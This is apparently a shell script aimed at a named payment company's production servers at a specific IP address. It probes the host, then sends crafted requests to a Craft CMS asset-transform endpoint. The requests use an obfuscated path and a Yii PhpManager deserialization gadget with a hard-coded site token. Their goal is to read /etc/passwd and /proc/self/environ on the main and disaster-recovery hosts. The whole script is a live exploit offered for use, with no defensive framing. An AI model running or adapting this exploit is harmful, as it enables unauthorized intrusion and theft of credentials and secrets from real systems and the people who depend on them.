26 lines
1.3 KiB
Bash
26 lines
1.3 KiB
Bash
#!/bin/sh
|
|
# Membership + gadget calibration against origin ALB 52.51.74.51
|
|
IP=52.51.74.51
|
|
TOK='c46f3a7bc2570ff67e324c871eccb889c823fe6e4ed8c90ce9a8d6cdeaa522b41'
|
|
N=0
|
|
for i in 1 2 3 4 5 6 7 8 9 10; do
|
|
N=$((N+1)); f=/tmp/m.$N
|
|
curl -sk -m 8 -o "$f" -H "Host: paystack.com" "https://$IP/" >/dev/null 2>&1
|
|
if grep -qa PSTKOUT "$f" 2>/dev/null; then
|
|
echo "M|$i|HIT$(grep -ao 'PSTKOUT-BEGIN' "$f" | head -1)"
|
|
else
|
|
echo "M|$i|$(wc -c <"$f" 2>/dev/null)|$(grep -o '<title>[^<]*' "$f" 2>/dev/null | head -1 | cut -c8-30)"
|
|
fi
|
|
done
|
|
gd() {
|
|
N=$((N+1)); f=/tmp/gf.$N
|
|
c=$(curl -sk -m 10 -o "$f" -w '%{http_code}' -H "Host: $1" -H 'Content-Type: application/json' -H 'Accept: application/json' -H "X-Craft-Site-Token: $TOK" --data '{"assetId":96,"handle":{"width":1,"height":1,"as gadget":{"class":"yii\\rbac\\\u0050hpManager","itemFile":"'"$2"'"}}}' "https://$IP/?p=act%0bions/assets/generate-trans%0bform" 2>/dev/null)
|
|
echo "E|$1|$2|$c|$(tr -d '\n\r' <"$f" 2>/dev/null | cut -c1-300)"
|
|
}
|
|
gd paystack.com '\u002fetc\u002fpasswd'
|
|
gd paystack.com '\u002fetc\u002fpasswd'
|
|
gd paystack.com '\u002fproc\u002fself\u002fenviron'
|
|
gd paystack.com '\u002fproc\u002fself\u002fenviron'
|
|
gd dr.paystack.com '\u002fproc\u002fself\u002fenviron'
|
|
gd dr.paystack.com '\u002fproc\u002fself\u002fenviron'
|
|
echo DONE6
|